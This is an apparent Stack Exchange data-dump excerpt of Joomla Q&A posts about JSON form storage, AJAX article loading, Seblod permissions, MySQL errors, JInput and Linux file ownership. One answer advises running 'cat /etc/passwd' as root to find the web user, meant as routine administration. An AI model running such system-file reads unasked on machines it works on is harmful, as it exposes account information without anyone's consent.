  <row Id="916" PostTypeId="1" CreationDate="2014-05-20T05:31:52.827" Score="5" ViewCount="1741" Body="&lt;p&gt;I need help to store data in json format in my DB like &lt;code&gt;{name:'1', name2:'2'}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;model/form/category.xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;field&#xA;        name=&quot;name&quot;&#xA;        type=&quot;text&quot;&#xA;        label=&quot;name&quot;&#xA;    /&amp;gt;&#xA;    &amp;lt;field&#xA;        name=&quot;name2&quot;&#xA;        type=&quot;text&quot;&#xA;        label=&quot;name&quot;&#xA;    /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;view/category/tmpl/edit.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('name'); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('name2'); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to send these 2 fields as a json-encoded string into 1 DB field.&lt;/p&gt;&#xA;" OwnerUserId="434" LastEditorUserId="12352" LastEditDate="2018-06-24T10:37:24.560" LastActivityDate="2019-03-20T16:51:27.817" Title="How to save data from 2 fields as a JSON string to 1 database table field?" Tags="|jform|json|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="917" PostTypeId="2" ParentId="915" CreationDate="2014-05-20T07:17:09.317" Score="2" Body="&lt;p&gt;To get Bootstrap working on older browsers such as IE8, we must import a script called &lt;strong&gt;respond.js&lt;/strong&gt;. I think the reason why your images aren't displaying as they should is because they aren't sitting within the grid due to the fact that &lt;strong&gt;respond.js&lt;/strong&gt; &lt;em&gt;isn't&lt;/em&gt; being imported. If you look at the inspector, it's trying to be called from here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/nikie/templates/artwork4template/js/respond.min.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the file doesn't exist. Sort this out and see if the problem still persists.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-05-20T08:46:32.560" LastActivityDate="2014-05-20T08:46:32.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="918" PostTypeId="2" ParentId="916" CreationDate="2014-05-20T09:42:21.210" Score="3" Body="&lt;p&gt;You need both PHP functions to do this work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;json_encode :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.php.net/manual/de/function.json-encode.php&quot; rel=&quot;nofollow&quot;&gt;http://www.php.net/manual/de/function.json-encode.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;json_decode:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.php.net/manual/de/function.json-decode.php&quot; rel=&quot;nofollow&quot;&gt;http://www.php.net/manual/de/function.json-decode.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$arr = array ();&#xA;$arr[name] = $this-&amp;gt;form-&amp;gt;getInput('name');&#xA;$arr[name2] = $this-&amp;gt;form-&amp;gt;getInput('name2');     &#xA;echo json_encode($arr);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2014-05-20T10:34:06.777" LastActivityDate="2014-05-20T10:34:06.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="919" PostTypeId="1" AcceptedAnswerId="1066" CreationDate="2014-05-20T10:37:54.817" Score="3" ViewCount="1736" Body="&lt;p&gt;I am using the category layout to feature articles on my front page with joomla 3.3. I am customizing this view so that the article links pull the articles into this page via ajax on click. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the relevant code I customized : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;HTML :&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2 class=&quot;catView&quot; data-link=&quot;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;link; ?&amp;gt; #k2Container&quot;&amp;gt;&#xA;    &amp;lt;?php if(isset($this-&amp;gt;item-&amp;gt;editLink)): ?&amp;gt;&#xA;&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;jQuery :&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('article.catView h2').click(function(){&#xA;    var link    = $(this).attr(&quot;data-link&quot;);&#xA;    $(this).parents().next('.artContainer').slideToggle(500).load(link);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works, I manage to retrieve the data I need and display it correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BUT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if this is the correct way to do this, instead of retrieving an other page should I try to retrieve data straight from the data base? is there a &quot;special joomla&quot; way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would rather not rely on a third party extension for this and would like to control and understand this task.&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="3" LastEditDate="2014-05-21T13:59:02.770" LastActivityDate="2014-05-29T23:10:03.867" Title="Load K2 article with ajax" Tags="|joomla-3.x|recommended-practices|ajax|k2|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="920" PostTypeId="2" ParentId="911" CreationDate="2014-05-20T12:46:15.793" Score="1" Body="&lt;p&gt;You have &lt;code&gt;view=files&lt;/code&gt; in your &lt;code&gt;return-url&lt;/code&gt; hidden input of the form. Then in the controller you assign it to &lt;code&gt;$return&lt;/code&gt; var and redirect using it. That is why you are being redirect to the list view.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-05-20T12:46:15.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="921" PostTypeId="1" CreationDate="2014-05-20T14:42:22.183" Score="3" ViewCount="167" Body="&lt;p&gt;I have extensivly looked for a k2 module that could show logged user only unread articles and havent found anything yet; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is that when the user logges in, the module will show only unread articles... if the user read the article in any moment, the module should no longer show it inside this module... the module should show artile title, intro text, intro image, category, creation/modification date at least.... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't find anything that does this? Is there something like this? if not, could somebody develope it?&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2014-05-20T14:42:22.183" Title="I need a k2 module to show user &quot;unread&quot; articles" Tags="|k2|" AnswerCount="0" CommentCount="6" ClosedDate="2014-10-07T11:42:01.943" ContentLicense="CC BY-SA 3.0" />
  <row Id="922" PostTypeId="2" ParentId="911" CreationDate="2014-05-20T15:04:50.430" Score="3" Body="&lt;p&gt;The problem turned out to be something as simple as &lt;code&gt;&amp;amp;amp;&lt;/code&gt;, Simple changing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;return-url&quot; value=&quot;&amp;lt;?php echo base64_encode('index.php?option=com_file_manager&amp;amp;amp;view=file&amp;amp;amp;layout=modal&amp;amp;amp;tmpl=component'); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;return-url&quot; value=&quot;&amp;lt;?php echo base64_encode('index.php?option=com_file_manager&amp;amp;view=file&amp;amp;layout=modal&amp;amp;tmpl=component'); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Did the trick. Thank you all for your inputs.&lt;/p&gt;&#xA;" OwnerDisplayName="user404" LastActivityDate="2014-05-20T15:04:50.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="923" PostTypeId="2" ParentId="735" CreationDate="2014-05-20T17:45:52.290" Score="2" Body="&lt;p&gt;If your using a decently recent version of PHP then you probably are using the php mysqlnd driver. &lt;a href=&quot;https://www.php.net/manual/en/book.mysqlnd.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.php.net/manual/en/book.mysqlnd.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Mysqlnd has a custom plugin API and can function in the same manner is mysql proxy - for example &lt;a href=&quot;http://pecl.php.net/package/mysqlnd_ms&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pecl.php.net/package/mysqlnd_ms&lt;/a&gt; is a plugin which splits reads and writes and had a recent official release 9/2013&lt;/p&gt;&#xA;&lt;p&gt;Also keep in mind, Joomla always writes to the session table.  Using memcache or apc just stores the session data in the cache - not the session metadata.&lt;/p&gt;&#xA;&lt;p&gt;You can get the same performance boost by dropping your #_sessions table and recreate it using the Memory data engine instead of innodb or myisam.&lt;/p&gt;&#xA;" OwnerUserId="437" LastEditorUserId="-1" LastEditDate="2023-11-17T20:42:18.383" LastActivityDate="2014-05-20T17:45:52.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="925" PostTypeId="1" AcceptedAnswerId="930" CreationDate="2014-05-20T20:14:19.027" Score="2" ViewCount="749" Body="&lt;p&gt;I am trying to replicate the &lt;code&gt;com_contact&lt;/code&gt; contact form page using Seblod CCK. My goal is to display contact person and then below give the user the ability to submit a request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already created several content types so I roughly know how to use Seblod, but I am new to creating contact forms. Here are the steps I have done:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Created a new app folder for my contact form&lt;/li&gt;&#xA;&lt;li&gt;Created a new content type for the contact form&lt;/li&gt;&#xA;&lt;li&gt;Added the fields that I want the user to fill in such as (name, email, message) and a submit button. Choosing storage location as &lt;code&gt;None&lt;/code&gt; so it does not&#xA;get saved into the database.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then I assigned a menu item to the contact form choosing access level as &lt;strong&gt;public&lt;/strong&gt;. When I open it, instead of the contact form, I see login prompt. It seems I am not allowed to view the contact form as anonymous. Who do I set the permission such that anonymous users can view and submit my contact form.&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditDate="2014-05-22T06:59:27.943" LastActivityDate="2014-05-22T06:59:27.943" Title="Seblod: Create contact form" Tags="|extensions|cck|seblod|permissions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="926" PostTypeId="1" CreationDate="2014-05-19T03:39:26.130" Score="3" ViewCount="126" Body="&lt;p&gt;What is the best way to have group capacity limit in joomla?&lt;/p&gt;&#xA;&lt;h2&gt;Background:&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I have three groups &amp;quot;&lt;strong&gt;Police&lt;/strong&gt;&amp;quot;, &amp;quot;&lt;strong&gt;Lawyer&lt;/strong&gt;&amp;quot;, &amp;quot;&lt;strong&gt;Programmer&lt;/strong&gt;&amp;quot;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Users can choose which group they would like to belong.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Groups have their capacity limit like &amp;quot;Programmer&amp;quot; capacity limit is 10, if 10 user assign them self to &amp;quot;Programmer&amp;quot;, no more user can assign to this group because it's already reach to limit 10.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I decided to create plugin for this, first problem is how to add extra field in edit group details?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Jpdhp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried &lt;strong&gt;onContentPrepareForm&lt;/strong&gt; to insert field but no luck. I guess it's because backend?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    public function onContentPrepareForm($form, $data)&#xA;{&#xA;    $app = JFactory::getApplication();&#xA;    if ($form-&amp;gt;getName() == 'com_users.group') {&#xA;        print_r($form-&amp;gt;getName());&#xA;        $form-&amp;gt;loadFile(dirname(__FILE__).'/forms/form.xml');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;form.xml&lt;/code&gt;&lt;/strong&gt; no problem.&#xA;Using the same plugin to insert field in registration page no problem.&lt;/p&gt;&#xA;" OwnerDisplayName="yasinn" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-12-02T07:52:46.310" Title="User-Groups capacity limit in Joomla 2.5" Tags="|joomla-2.5|user-groups|joomla-user-groups|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="927" PostTypeId="2" ParentId="926" CreationDate="2014-05-19T23:15:18.793" Score="2" Body="&lt;p&gt;You can take a look at all the plugin events and try hooking into one of those:&#xA;&lt;a href=&quot;http://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Plugin/Events&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is that you hook into one of those events and run a check on how many users are in that group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how you write a plugin:&#xA;&lt;a href=&quot;http://docs.joomla.org/J2.5%3aCreating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J2.5:Creating_a_Plugin_for_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, it is unbelievably easy&lt;/p&gt;&#xA;" OwnerUserId="1533" OwnerDisplayName="Ortix92" LastActivityDate="2014-05-19T23:15:18.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="928" PostTypeId="1" CreationDate="2014-05-19T00:37:38.760" Score="6" ViewCount="3879" Body="&lt;p&gt;I wrote a component and need a field there where the user can pick a pdf from the media manager.&#xA;When I set the field-type in the field list to «media», the media-manager only shows images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make it show all files instead of images only?&lt;/p&gt;&#xA;" OwnerUserId="442" OwnerDisplayName="Swissdude" LastEditorUserId="159" LastEditDate="2014-05-21T15:05:20.377" LastActivityDate="2015-11-15T16:29:31.517" Title="Joomla component media manager to select pdf" Tags="|joomla-3.x|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="929" PostTypeId="2" ParentId="837" CreationDate="2014-05-20T22:36:13.423" Score="0" Body="&lt;p&gt;If I have a clear view of your question, Joomla 3 provides by default the guest group and guest access level intended for this exactly purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, the public view gives view access to all the default usergroups, except from the Guest usergroup. Therefore any user of the registered and higher usergroup will always have viewing accesss to any content/item/module of that level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you want to display something only to visitors that are not logged in, you need to use an access level that these usergroups don't have. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the Guest Access Level and it is only assigned to the Guest usergroup, where none of your registered users will belong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you want to make sure that you have the right option selected in the users component configuration, for the default Guest User Group. Click on the Options button of the com_users and check the Guest User Group selection to be &quot;Guest&quot;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-08-14T10:48:38.297" LastActivityDate="2014-08-14T10:48:38.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="930" PostTypeId="2" ParentId="925" CreationDate="2014-05-20T22:51:16.457" Score="1" Body="&lt;p&gt;The right access level for your case is Public, unless you have done any changes to the default ACL structure. If you haven't done such changes, then you should check the permissions settings you have applied into your form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check to see if there is public access for creating new submissions (or other similar options) in your form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZRjHB.jpg&quot; alt=&quot;Seblod Editing Permissions&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-05-21T11:57:47.143" LastActivityDate="2014-05-21T11:57:47.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="931" PostTypeId="2" ParentId="928" CreationDate="2014-05-20T23:00:17.453" Score="1" Body="&lt;p&gt;The Media form field type is used to select an image. So it filters out other files.&#xA;Have a look at &lt;a href=&quot;http://docs.joomla.org/Standard_form_field_types&quot; rel=&quot;nofollow&quot;&gt;Joomla documentation&lt;/a&gt; for the available standard form fields types. You might also want to consider to create your own custom modal form field type for your component.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-05-20T23:00:17.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="932" PostTypeId="2" ParentId="867" CreationDate="2014-05-20T23:01:40.117" Score="3" Body="&lt;p&gt;Some default codes are confusing as joomla uses those for processes start to end of page rendering. As per the requirements, pagination needs following two state variables set, so you need to set in your model's overridden populateState() method(source - com_weblinks) - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// List state information&#xA;$limit = $app-&amp;gt;getUserStateFromRequest('global.list.limit', 'limit', $app-&amp;gt;getCfg('list_limit'), 'uint');&#xA;$this-&amp;gt;setState('list.limit', $limit);&#xA;&#xA;$limitstart = JRequest::getUInt('limitstart', 0);&#xA;$this-&amp;gt;setState('list.start', $limitstart);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;furthermore, if you look getPagination() method in jmodellist parent class, you can get idea how things are calculated from state variables to display pagination.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2014-05-20T23:01:40.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="933" PostTypeId="1" AcceptedAnswerId="936" CreationDate="2014-05-21T06:15:44.397" Score="1" ViewCount="2099" Body="&lt;p&gt;I am facing a serious issue with Joomla version 1.7.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;MySQL server has gone away&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am using the shopping cart platform  Virtuemart. When I placed an order, the order confirmation message page is messed up and the order email has no product info etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The query causing trouble is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT m.id, m.title, m.module, m.position, m.content, m.showtitle, m.params, mm.menuid&#xA;FROM jos_modules AS m&#xA;LEFT JOIN jos_modules_menu AS mm ON mm.moduleid = m.id&#xA;LEFT JOIN jos_extensions AS e ON e.element = m.module AND e.client_id = m.client_id&#xA;WHERE m.published = 1&#xA;  AND e.enabled = 1&#xA;  AND (m.publish_up = '0000-00-00 00:00:00' OR m.publish_up &amp;lt;= '2014-05-21 05:56:53')&#xA;  AND (m.publish_down = '0000-00-00 00:00:00' OR m.publish_down &amp;gt;= '2014-05-21 05:56:53')&#xA;  AND m.access IN (1,1,2)&#xA;  AND m.client_id = 0&#xA;  AND (mm.menuid = 0 OR mm.menuid &amp;lt;= 0)&#xA;ORDER BY m.position, m.ordering&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I already checked many sites and joomla forum almost every topic related to this issue is saying server mysql time out issue. &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=615&amp;amp;t=754609&amp;amp;view=previous&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; , &lt;a href=&quot;http://forum.virtuemart.net/index.php?topic=102866.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://www.corejoomla.com/forum/gps-tools/11568-getting-error-while-submit-track.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last week the site was working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I don't have privileges to update its version to the latest :(.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically should I report this issue to server admin or is there a coding solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT : SOLVED&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is issue is due to mysql query execution time, Server Admin able to increase the limit and the issue was fixed.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="12352" LastEditDate="2019-03-02T06:18:32.030" LastActivityDate="2019-03-02T22:29:38.580" Title="Error loading module MySQL server has gone away" Tags="|mysql|virtuemart|joomla-framework-1.x|jerror|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="935" PostTypeId="2" ParentId="925" CreationDate="2014-05-21T11:42:48.007" Score="3" Body="&lt;p&gt;I found the answer my self in a SEBLOD &lt;a href=&quot;http://www.seblod.com/community/forums/forms-content-types/problem-with-access-level-seblod-3-1-joomla-3-1&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog entry&lt;/a&gt;. There is a small arrow at the right corner of the content types main settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/11jph.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When opened there is a permission button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1ym5n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in there I could set the &lt;code&gt;Create&lt;/code&gt; permission for the group &lt;code&gt;Public&lt;/code&gt; to &lt;code&gt;Allowed&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-05-21T11:42:48.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="936" PostTypeId="2" ParentId="933" CreationDate="2014-05-21T11:54:21.633" Score="0" Body="&lt;p&gt;It's a MySQL issue. It may be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;MySQL Bug&lt;/li&gt;&#xA;&lt;li&gt;MySQL Internal Inconsistency&lt;/li&gt;&#xA;&lt;li&gt;MySQL Load Restriction / Timeout&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since error is &lt;strong&gt;MySQL server has gone away&lt;/strong&gt;, the connection is closed, and the MySQL process may have died. It's not a coding issue at Joomla level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check with your hosting support. If I have this error in my server, I run a check on the database to solve any inconsistency, and update MySQL to the latest version.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-05-21T11:54:21.633" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="937" PostTypeId="1" AcceptedAnswerId="940" CreationDate="2014-05-21T12:39:45.237" Score="6" ViewCount="1829" Body="&lt;p&gt;I'm a beginner in Joomla and a little confused with this method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example consider this : &lt;code&gt;$app-&amp;gt;input-&amp;gt;get('foo',0,'int');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where is the source of &lt;code&gt;foo&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JInput-&amp;gt;get()&lt;/code&gt; get's inputs from where ?&lt;/p&gt;&#xA;" OwnerUserId="439" LastEditorUserId="3" LastEditDate="2014-05-22T07:40:31.157" LastActivityDate="2014-05-22T07:40:31.157" Title="JInput-&gt;get() , how does it work?" Tags="|development|joomla-api|jinput|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="939" PostTypeId="1" CreationDate="2014-05-21T13:17:03.587" Score="10" ViewCount="3471" Body="&lt;p&gt;My question is pretty general.  Lets assume I have a linux distribution web server, with the &lt;code&gt;/var/www/&lt;/code&gt; is the web directory.  I used my superuser account to upload and unzip the Joomla installation &lt;code&gt;.zip&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The linux system user for web users is called &lt;code&gt;www-data&lt;/code&gt;.  Anyway, my question is who should be the ONWER of the folders and files in the web directory of the linux system?  Right now, because I used my superuser account to unzip the files, all the folders and files are owned by the super user, and therefore come up in the joomla admin system as being unwritable.  I am just a little hesitant to set the &lt;code&gt;www-data&lt;/code&gt; user as the owner of the files.  Is this OK?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for reference, in linux i would change the owner of the folders and files with &lt;code&gt;chown&lt;/code&gt; and change the group with &lt;code&gt;chgrp&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="390" LastEditorUserId="159" LastEditDate="2014-05-21T15:03:16.663" LastActivityDate="2014-05-24T03:50:34.620" Title="Permissions for folders and files for www-data Linux user" Tags="|installation|file-permissions|linux|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="940" PostTypeId="2" ParentId="937" CreationDate="2014-05-21T14:15:00.643" Score="5" Body="&lt;p&gt;Source of &lt;code&gt;foo&lt;/code&gt; are the &lt;a href=&quot;http://www.php.net/manual/en/language.variables.superglobals.php&quot;&gt;PHP superglobals&lt;/a&gt; such as $_POST or $_GET. So it's data what the user submits via a form, URL or cookie to your component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you are receiving in a safe way a parameter that was sent to you via a HTTP method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myVar = $app-&amp;gt;input-&amp;gt;get('foo',0,'int');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is largely equivalent to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myVar = (int) $_REQUEST['foo'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should always use &lt;a href=&quot;http://docs.joomla.org/Retrieving_request_data_using_JInput&quot;&gt;JInput&lt;/a&gt;, no matter what. You just forget about the PHP superglobals. Read the whole documentation in silence, you should know it by heart.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-05-21T14:15:00.643" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="941" PostTypeId="1" CreationDate="2014-05-21T14:39:58.487" Score="3" ViewCount="1293" Body="&lt;p&gt;I want to make a &lt;strong&gt;custom page/module/iframe&lt;/strong&gt; or whatever which, when opened, will display only the &lt;strong&gt;articles&lt;/strong&gt; written by the user WHO HAS LOGGED INTO MY JOOMLA WEBSITE. Is there any way to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose there are &lt;strong&gt;two&lt;/strong&gt; users of my Joomla Website, &lt;strong&gt;USER1&lt;/strong&gt; has written an article &quot;ABC&quot; and &lt;strong&gt;USER2&lt;/strong&gt; has written an article &quot;XYZ&quot;, I want to make a page which when opened by USER1 will only show &quot;ABC&quot; article and when opened by USER2, will only show &quot;XYZ&quot; article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way out?&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="155" LastEditDate="2014-05-22T07:40:48.010" LastActivityDate="2014-05-22T07:40:48.010" Title="Dynamically Showing Articles Of The User Who Has Logged In?" Tags="|articles|user|custom-module|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="942" PostTypeId="2" ParentId="939" CreationDate="2014-05-21T14:44:11.140" Score="3" Body="&lt;p&gt;It's likely you'll want to change ownership to user www-data. You can see the user assigned to that space by doing &lt;code&gt;# cat /etc/passwd&lt;/code&gt;. Always be careful when touching objects as root. You can break a lot of things.&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2014-05-21T14:44:11.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
